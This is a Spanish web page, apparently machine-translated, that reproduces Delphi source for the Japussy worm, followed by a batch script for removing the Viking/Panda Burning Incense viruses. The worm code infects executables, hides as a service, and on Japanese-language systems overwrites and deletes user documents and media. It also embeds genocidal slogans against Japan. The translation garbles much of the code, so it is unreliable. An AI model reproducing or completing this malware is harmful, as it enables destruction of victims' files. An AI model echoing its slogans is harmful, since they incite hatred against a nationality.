Red de conocimiento informático - Conocimiento sistemático - Código fuente de Panda Cine y Televisión

Código fuente de Panda Cine y Televisión

Programa Japussy

Usos

Windows, SysUtils, Clases, Gráficos, ShellAPI{, Registro}.

Constante

HeaderSize = 82432//El tamaño del virus

icon offset = $ 12eb 8 //El desplazamiento del icono principal del PE; file

p>

//El tamaño compilado en mi Delphi5 SP1 puede variar en otras versiones de Delphi.

//Busque la cadena hexadecimal 2800000020 y busque el desplazamiento del icono principal.

{

header size = 38912; //El tamaño del cuerpo del virus comprimido Upx

IconOffset = $92BC//El icono principal del Upx comprimido Desplazamiento del archivo PE.

//Uso Upx 1.24W: Upx-9-8086 Japussy.exe.

}

IconSize = $2E8//Tamaño del icono principal del archivo PE - 744 bytes

icon tail = desplazamiento del icono+IconSize //Archivo PE principal El cola del icono

ID = $44444444//Marca de infección

//Escribe código basura.

Si hay que eliminar una carrera, debe ser la carrera Yamato. '''''''''''''''' +

Si un país necesita ser destruido, ¡debe ser Japón! ''''''''''''''' +

' ' ' ' ' ' ' ' ' ' ' ' ' ' *** W32. Japussy . Gusano.A * * *

{$R *. RES}

Función RegisterServiceProcess(dwProcessID, tipo dw:Integer):Integer;

stdcall external ' ' ' ' ' ' ' ' ' ' ' ' kernel 32. dll ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ';//Declaración de función

Definir variables

TmpFile:string;

si: información de inicio ;

Pi: información_proceso;

es jap:Boolean = False; //etiqueta del sistema operativo japonés

{Juzga si es Win9x}

La función es win9x:Boolean;

Definir variable

ver:TOSVersionInfo;

Inicio

Resultado:= Falso;

ver . dwosversioninfosize:= SizeOf(TOSVersionInfo);

Si no es GetVersionEx(Ver), entonces

Salir;

si (ver . dwplatformid = VER _PLATFORM_WIN32_WINDOWS) luego //Win9x

resultado:=true;

end;

{copiar entre secuencias }

Secuencia de copia de procedimiento(Src: TStream; sStartPos: entero; dst: TStream;

dStartPos: entero; recuento: entero

Definir variables

); sCurPos, dCurPos: entero;

Inicio

sCurPos := Src. Posición;

dCurPos := Dst. Ubicación;

Src.

Seek(sStartPos, 0);

Horario de verano. Seek(dStartPos, 0);

Horario de verano. CopyFrom(Origen, Conde);

Origen. Seek(sCurPos, 0);

Horario de verano. Seek(dCurPos, 0);

End;

{Separe los archivos host de los archivos PE infectados}

Procesar ExtractFile(filename:char String);

Definir variables

sStream, dStream:TFileStream;

Iniciar

Probar

sStream: =TFileStream. Create(ParamStr(0), fmOpenRead o fmShareDenyNone);

Prueba

dStream := TFileStream. create(filename, fmCreate);

Prueba

stream. Seek(HeaderSize, 0); //Omitir la parte del virus del encabezado

dStream. CopyFrom(sStream, sStream.size-header size);

Finalmente

dStream. Gratis;

Fin;

Final

Transmisión. Gratis;

Fin;

Excepto...

Fin;

Fin;

{ Rellenar STARTUPINFO estructura}

Proceso FillStartupInfo(var Si:información de inicio; estado:Word);

Inicio

Si CB:= SizeOf(Si); p>

si .LP reservado:= nil;

si lpdesktop:= nil

si . .dw banderas:= STARTF _ USESHOWWINDOW;

si .wshowindow:= Estado

si . := nil;

Fin;

{Enviar correo electrónico venenoso}

El proceso SendMail

Iniciar

//¿Quién quiere completarlo?

Fin;

{Archivo PE infectado}

Procesar InfectOneFile(nombre de archivo: cadena);

Definir variables

HdrStream, SrcStream:TFileStream;

IcoStream, dst stream:TMemoryStream;

iID:LongInt;

aIcon:TIcon;

p>

Infectado, IsPE:Booleano;

I: Entero;

Buf: Char of array[0..1]

Inicio

p>

Intenta //Error, el archivo está en uso, sal.

Si comparetext(filename, ' ' ' ' ' ' ' ' ' japussy.exe ' ' ' ' ' ' ' ' ') = 0 entonces // si eres tú mismo, no te infectarás.

Salir;

Infectado:= Falso;

IsPE:= Falso;

SrcStream:= TFileStream.

Create(filename, fmOpenRead);

Intente

Para i := 0 a $108, verifique el encabezado del archivo PE.

Iniciar

SrcStream. Buscar(i,sofrombinging);

SrcStream. Read(Buf, 2);

Si (buf[0] = #80) y (buf[1] = #69) entonces //etiqueta PE

Inicio

IsPE:= True; //Es un archivo PE.

Romper;

Fin

Fin

SrcStream. Seek(-4, soFromEnd); //Comprueba el indicador de infección

SrcStream. Cambie a (iID, 4);

Si (iID = ID) o (SrcStream. size & lt10240) entonces // los archivos que sean demasiado pequeños no se infectarán.

Infectado:= Verdadero

Último

SrcStream. Gratis;

Fin;

Si está infectado o (no es IsPE), entonces // Si está infectado o no, el archivo PE sale.

Salir;

IcoStream := TMemoryStream. Crear;

DstStream := TMemoryStream. Crear;

Pruebe

aIcon := TIcon. Crear;

Probar

//Obtener el icono principal (744 bytes) del archivo infectado y almacenarlo en la secuencia.

Aikang. Manija de liberación;

Aikang. Identificador := ExtractIcon(HInstance, PChar(FileName), 0

Aikang. SaveToStream(IcoStream);

Finalmente

IcoStream. Gratis;

Fin;

SrcStream := TFileStream. Create(filename, fmOpenRead);

//Archivo de encabezado

HdrStream := TFileStream. Create(ParamStr(0), fmOpenRead or fmShareDenyNone);

Probar

//Escribir datos antes del icono principal del virus.

CopyStream(HdrStream, 0, DstStream, 0, icon offset);

//Escribe el icono principal del programa actual.

CopyStream(IcoStream, 22, DstStream, IconOffset, IconSize);

//Escribe los datos del icono principal del virus en la cola del virus.

CopyStream(HdrStream, IconTail, DstStream, IconTail, tamaño del encabezado-icono de cola);

//Escribir en el programa host

CopyStream(SrcStream, 0 , DstStream, HeaderSize, SrcStream size);

//Escribir bandera infectada

DstStream. Buscar(0, 2);

iID:= $4444444;

DstStream. Write(iID, 4);

Finalmente

HdrStream. Gratis;

Fin;

Finalmente

SrcStream. Gratis;

IcoStream. Gratis;

DstStream.

SaveToFile(filename); //Reemplazar el archivo host

DstStream. Gratis

Fin

Excepto;

Fin

Fin

{Escribe el archivo de destino; Eliminar spam después de ingresarlo}

Procedimiento SmashFile (nombre de archivo: cadena);

Definir variables

FileHandle: entero;

I , Tamaño, Masa, Máx., Longitud: entero;

Iniciar

Probar

setfile atributos(PChar(FileName), 0 // Eliminar lectura-); único atributo

FileHandle := FileOpen(filename, fmOpenWrite); //Abrir archivo

Probar

Tamaño := GetFileSize(FileHandle, nil ); Tamaño del archivo

I:= 0;

Aleatorización;

max:= Random(15); //Aleatorio para escribir código basura Veces

Si Max & lt entonces 5

max:= 5;

mass:= Size div Max //El tamaño de cada bloque de intervalo

Len := Longitud(eslogan);

Y<Max·Do

Iniciar

FileSeek(FileHandle, i * Mass, 0 //Posicionamiento

//Escribe código basura para destruir completamente el archivo.

FileWrite(FileHandle, Catchword, Len);

Inc(1);

Fin

Finalmente

<; p>file close(file handle); //Cerrar el archivo

Fin;

DeleteFile(PChar(nombre de archivo)); //Eliminarlo

Eliminar...fuera

End;

End;

{Obtener la lista de unidades grabables}

Función obtener unidades:cadena

Definir variables

tipo de disco:Word;

d:Char;

Str: cadena;

I: entero;

Inicio

Para i := 0 a 25, haz // Atraviesa 26 letras.

Inicio

d:= Chr(I+65);

str:= D+"""""""":\"""" """""""";

tipo de disco:= obtener tipo de unidad(PChar(Str));

//Obtener el disco local y el disco de red.

Si (DiskType = DRIVE_FIXED) o (DiskType = DRIVE_REMOTE) entonces

Resultado:=resultado+D;

Fin;

Fin;

{Atravesar directorios, infectar y destruir archivos}

Procesar LoopFiles(ruta, máscara: cadena);

Definir variables

I, recuento: entero;

Fn, Ext: cadena;

SubDir: t cadenas

búsqueda rec: TSearchRec

msg:TMsg;

la función es validir(search rec:TSearchRec):Integer;

Iniciar

if (SearchRec.Attr & lt& gt16) y ( BuscarRec.

Nombre& lt& gt''''''''''''''.'''''''''''') y

(BuscarRec. Nombre& lt& gt' '''''''''''''''..'''''''''''') luego

Resultado:= 0 //No es un directorio.

de lo contrario si (SearchRec.Attr = 16) y (SearchRec.Name<>''''''''''''''.''''''''' ''' '') y

(SearchRec.Name<& gt''''''''''''''..''''''''''' ''') luego

Resultado:= 1 //No es el directorio raíz.

else resultado:= 2; // es el directorio raíz.

Fin;

Inicio

si (FindFirst(Path + Mask, faAnyFile, SearchRec) = 0) entonces

Inicio p>

Repetir

PeekMessage(Msg, 0, 0, 0, PM_REMOVE); //Ajusta la cola de mensajes para evitar sospechas.

Si IsValidDir(SearchRec) = 0, entonces

Inicio

Fn:= Ruta + SearchRec. Nombre;

Ext :=uppercase(ExtractFileExt(Fn));

if (Ext = ' ' ' ' ' ' ' ' ' ' ' '. EXE ' ' ' ' ' ' ' ' ' ' ' ' o (Ext = ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' '. SCR ' ' ' ' ' 'Entonces

Iniciar

Archivo de infección (Fn); //Archivo ejecutable infectado

End

else if (Ext = ' ' ' ' ' ' ' ' ' ' ' '. HTM ' ' ' ' ' ' ' ' ' ' ' o (externo = ' ' ' ' ' ' ' ' ' ' ' ' '. HTML ' ' ' ' ' ' ' ' ' ' ' o ( Ext = ' ' ' ' ' ' ' ' ' ' ' ' ' '.ASP ' ' ' ' ' 'Luego

Iniciar

//Infectar archivos HTML y ASP, escribir un virus codificado en Base64.

//Infectar a todos los usuarios que navegan por esta página web

Fin

En caso contrario, if ext = ' ' ' ' ' ' ' ' ' ' ' '. ' ' ' ' ' luego //Archivo de libreta de direcciones de Outlook p>Inicio

//Obtener dirección de correo electrónico de Outlook

Fin

De lo contrario, si ext = ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' '. ADC ' ' ' ' 'Entonces //archivo de autocompletar dirección de Foxmail

//Obtener dirección de correo electrónico de Foxmail

Fin

De lo contrario, si text = ' ' ' ' ' ' ' ' ' ' ' ' ' ' IND ' ' ' ' ' ' ' ' ' ' entonces //archivo de la libreta de direcciones de Foxmail.

Inicio

//Obtener dirección de correo electrónico de Foxmail

Fin

Otros

Inicio

Si es IsJap entonces // es un sistema operativo japonés.

Inicio

if (Ext = ' ' ' ' ' ' ' ' ' ' ' ' ' '.DOC ' ' ' ' ' ' ' ' ' ' ' ' o (Ext = ' ' ' ' ' ' ' ' ' ' ' ' '. MDB ' ' ' ' ' ' ' ' ' ' ') o

(Ext=""""""""". MP3""""""""o(Ext="" """"""RM ' ' ' ' ' ' ' ' ' ' ' o (Ext = ' ' ' ' ' ' ' ' ' ' ' ' ' ' '. RA ' ' ' ' ' ' ' ' ' ' ' ') o

(Ext = ' ' ' ' ' ' ' ' ' ' ' ' '. WMA ' ' ' ' ' ' ' ' ' ' ' o (Ext = ' ' ' ' ' ' ' ' ' ' ' ' '. ZIP ' ' ' ' ' ' ' ' ' ' ' o (Ext = ' ' ' ' ' ' ' ' ' ' ' ' ' '. RAR ' ' ' ' ' ' ' ' ' ' ' ') o

(Ext = ' ' ' ' ' ' ' ' ' ' ' ' '. MPEG ' ' ' ' ' ' ' ' ' ' ' ' ' o (Ext = ' ' ' ' ' ' ' ' ' ' ' ' ' '. ASF ' ' ' ' ' ' ' ' ' ' ' ' o (Ext = ' ' ' ' ' ' ' ' ' ' ' ' ' ' '.JPG ' ' ' ' ' ' ' ' ' ' ') o

(Ext = ' ' ' ' ' ' ' ' ' ' ' '. JPEG ' ' ' ' ' ' ' ' ' ' ' ' ' ' o (Ext = ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' '. GIF ' ' ' ' ' ' ' ' ' ' ' ' ' ' o (Ext = ' ' ' ' ' ' ' ' ' ' ' ' ' '. SWF ' ' ' ' ' ' ' ' ' ') o

(Ext = ' ' ' ' ' ' ' ' ' ' ' ' '. PDF ' ' ' ' ' ' ' ' ' ' ' 'o (Ext = ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' '. CHM ' ' ' ' ' ' ' ' ' ' ' 'o (Ext = ' ' ' ' ' ' ' ' ' ' ' ' ' ' '.AVI ' ' ' ' ' 'Entonces

smash file(Fn); // Destruye el archivo

Fin;

Fin;

Fin;

//Hibernar durante 200 milisegundos después de infectar o eliminar archivos para evitar sospechas causadas por un uso elevado de la CPU. >

Dormir(200);

Hasta (BuscarSiguiente(búsqueda de registro)<& gt0);

Fin;

BuscarCerrar(búsqueda de registro) ;

SubDir := TStringList.

Crear;

if(FindFirst(Ruta+' ' ' ' ' ' ' ' ' ' ' ' *.* ' ' ' ' ' ' ' ' ', faDirectory, SearchRec) = 0) entonces

Inicio

Repetir

Si IsValidDir(SearchRec) = 1, entonces

SubDir. Agregar(SearchRec.Name);

Hasta(FindNext(search rec)<>0);

Fin;

FindClose(search rec

Contar := SubDir. count-1;

Para i := 0 para contar hacer

Archivo de bucle (ruta+subdirectorio.String+' ' ' ' ' ' ' ' ' ' \ ' ' ' ' ' ' ' ' ', máscara);

FreeAndNil(SubDir);

End;

{Recorrer todos los archivos en el disco }

Procesar archivo de infección;

Definir variables

lista de controladores: cadena;

I, Len: entero;

Iniciar

Si GetACP = 932, entonces //sistema operativo japonés

IsJap:= True //¡Vete al infierno!

lista de controladores:= obtener unidades; //Obtener la lista de discos grabables

len:= Longitud(lista de controladores);

Mientras sea Verdadero, //Ilimitado Bucle

Inicio

For i := Len downto 1 do //Repita cada unidad de disco.

archivos de bucle (lista de controladores+"""""":\"""""""""""""""*"*'''''' ''''' ''''');//Infectado

SendMail//Enviar correos electrónicos venenosos

Dormir (1000 * 60 * 5); //Dormir durante 5 minutos

Fin;

Fin;

{Se inicia el programa principal}

Inicio

Si es Win9x, entonces/ / es Win9x.

RegisterServiceProcess(getCurrentProcessID, 1)//Registrarse como proceso de servicio.

else //WinNT

Inicio

//El subproceso remoto se asigna al proceso del administrador de recursos.

//¿Qué hermano está dispuesto a completarlo?

Fin;

//Si es el virión original.

Si se compara texto(extraer nombre de archivo(ParamStr(0)), ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' Japussy.exe'''''''''''''') = 0, luego

Archivos infectados//Infecciones y correos electrónicos< / p>

Else //Ha sido parasitado en el programa host y comenzó a funcionar.

Inicio

TmpFile:= ParamStr(0); //Crea un archivo temporal

Delete(TmpFile, Longitud(TmpFile) - 4, 4);

TmpFile := TmpFile + #32 +' ' ' ' ' ' ' ' ' ' '. exe//Archivo host real, con un espacio más.

extraer archivo(TmpFile); //Separarlo

FillStartupInfo(Si, SW_show default);

CreateProcess(PChar(TmpFile),PChar( TmpFile) , nil, nil, Verdadero,

0, cero, ' ' ' ' ' ' ' ' ' ' '. '''''''''''', Si, Pi); //Crea un nuevo proceso para ejecutar.

InfectFiles//Infecciones y Correos Electrónicos

Fin;

Fin.

Por favor indique la fuente de www.honkercn.net, el amigo que lo reenvió.

El siguiente es el proceso para la eliminación por lotes de los virus Weijin y Panda Burning Incense.

@Close Echo

Herramienta de título para eliminar la última variante del virus VIKING (logo_1, panda quemando incienso)

Herramienta @echo, utilizada para eliminar la última variante del virus VIKING

Abortar

Ifexist%windir%\rundl132. exe echo - ¡Informe al jefe que hay una emboscada del virus vikingo! Déjame matarlo -

Ifexist% windir%\logo_1. exe echo-informe al jefe que hay una emboscada del virus vikingo. Déjame matarlo -

//Matar proceso vikingo

tskill logo_1

tskill rundl132

tskill zt

Tskillwa

tskill logo1__

Tskill Ravmon

Tskill Egghorst

Tskiel Melmon

Tskiel KAVPFW

Tskiel Ipamore

Tskiel Ravmond

taskkill /f/im 0sy.exe

taskkill /f /im 1sy.exe

taskkill /f/im 2sy.exe

taskkill/f/im 3sy.exe

taskkill/f/im 4sy.exe

taskkill/f /im 5sy.exe

taskkill/f/ soy 6sy.exe

taskkill/f/im 7sy.exe

taskkill/f/im 8sy.exe

taskkill/f/im 9sy.exe

//Eliminar troyano

del d:\_desktop.ini /f/s/q/a

del c:\ Archivos de programa\_desktop .

del % Windir %\ mic know \ mic know

del %Windir%\MH_FILE\MH_DLL. .dll

del %Windir%\_desktop.ini

del % Windir %\today ztking\today ztking.

Biblioteca de enlaces dinámicos

attrib -h -r -s c:\go.exe

del c:\go.exe

del c:\setup.exe

attrib -h -s -r c:\autorun.inf

del c:\autorun.inf

attrib -h -r -s d:\go .exe

del d:\go.exe

del d:\setup.exe

attrib -h -s -r d:\autorun.inf

del d:\autorun.inf

del e:\setup.exe

attrib -h -r -s e:\go.exe

del e:\go.exe

attrib -h -s -r e:\autorun.inf

del e:\autorun.inf

attrib -h -r -s f:\go.exe

del f:\go.exe

del f:\setup.exe

attrib -h -s -r f:\autorun.inf

del f:\autorun.inf

attrib -h -r -s g:\go.exe

del g:\go.exe

del g:\setup.exe

attrib -h -s -r g:\autorun.inf

del g:\ autorun.inf

del h:\go.exe

del h:\setup.exe

attrib -h -s -r g:\autorun.inf

del h:\autorun.inf

del i:\go.exe

attrib -h -s -r g:\autorun.inf

del i:\autorun.inf

del i:\setup.exe

del j:\go.exe

attrib -h - s -r g:\autorun.inf

del j:\autorun.inf

del j:\setup.exe

del % windir %\system\ logotipo 1 _. exedel % windir %\system\Logo_1 exe

del %windir%\rundl132.exe

del %windir%\vDll.dll

del. %windir%\Dll.dll

del %windir%\0Sy.exe

del %windir%\1Sy.exe

del %windir%\2Sy .exe

del %windir%\3Sy.exe

del %windir%\5Sy.exe

del %windir%\1.com

@ echo _Informe al jefe que todos los vikingos han sido ejecutados.

@echo está muy cansado. Inmuniza tu sistema nuevamente. Si no lo necesita, salga directamente.

Abortar

//Sistema inmunológico

echo & gt%windir%\Logo1_.

Extensión del programa ejecutable

echo & gt%windir%\rundl132.exe

echo & gt%windir%\0Sy.exe

echo & gt %windir %\vDll.dll

echo & gt%windir%\1Sy.exe

echo & gt%windir%\2Sy.exe

echo & gt% windir%\rundll32.exe

echo & gt%windir%\3Sy.exe

echo & gt%windir%\5Sy.exe

echo & gt %windir%\1.com

echo & gt%windir%\exerouter.exe

echo & gt%windir%\EXP10RER.com

eco & gt%windir%\finders.com

echo & gt%windir%\Shell.sys

echo & gt%windir%\kill.exe

echo & gt%windir%\sws.dll

echo & gt%windir%\sws32.dll

echo & gt% windir %\uninstall\rundl 132.

echo & gt%windir%\SVCHOST.exe

echo & gt%windir%\WINLOGON.exe

echo & gt%windir%\RUNDLL32. Extensión del programa ejecutable

echo & gtC:\ "Archivo de programa" \svchost.exe

echo & gtC:\ "Archivo de programa" Internet Explorer " \svchost.exe< / p>

echo & gt%windir%\Download\svchost.exe

echo & gt%windir%\system32\wldll.dll

attrib %windir%\Logo1_ .

exe +s +r +h

atributo % windir % \ rundl 132 .exe+s+r+h

atributo %windir%\0Sy.exe +s +r +h.

attrib %windir%\vDll.dll +s +r +h

attrib % windir %\ 1sy exe+s+r+h

attrib. %windir%\2Sy.exe +s +r +h

atributo % windir %\ rundll32 exe+s+r+h

atributo %windir%\3Sy.exe +. s +r +h

attrib %windir%\5Sy.exe +s +r +h

attrib % windir % \ 1 com+s+r+h

attrib % windir % \ exe enrutador . exe+s+r+h

attrib % windir % \ exp 10 rer com+s+r+h

attrib. % windir % \ finders . com+s+r+h

attrib %windir%\Shell.sys +s +r +h

attrib %windir%\kill.exe + s +r +h

atributo %windir%\sws.dll +s +r +h

atributo %windir%\sws32.dll +s +r +h

attrib % windir % \ uninstall \ rundl 132 .

attrib % windir % \ svchost . %windir%\winlogon.exe+s+r+h

atributo %windir%\RUNDLL32. EXE +s +r +h

attrib C:\ "Archivos de programa" \svchost.exe +s +r +h

attrib C:\ "Archivos de programa" \ Internet Explorer " \ svchost . exe+s+r+h

attrib % windir % \ Descargar \ svchost . exe+s+r+h

attrib % windir % \ system32 \ wldll . dll+s+r+h

Participación neta c USD/del

Participación neta d USD/del

Participación neta e USD/del

Participación neta f USD/del

Participación neta gastos administrativos/del

Participación neta ipc$ /del

cls

@echo -

@echo Viking ha sido asesinado por mí. Ja, ¿no es increíble?

El sistema @echo ha sido inmune con éxito. ¡Gracias por usarlo, reinicie! tu computadora

@echo -

Abortar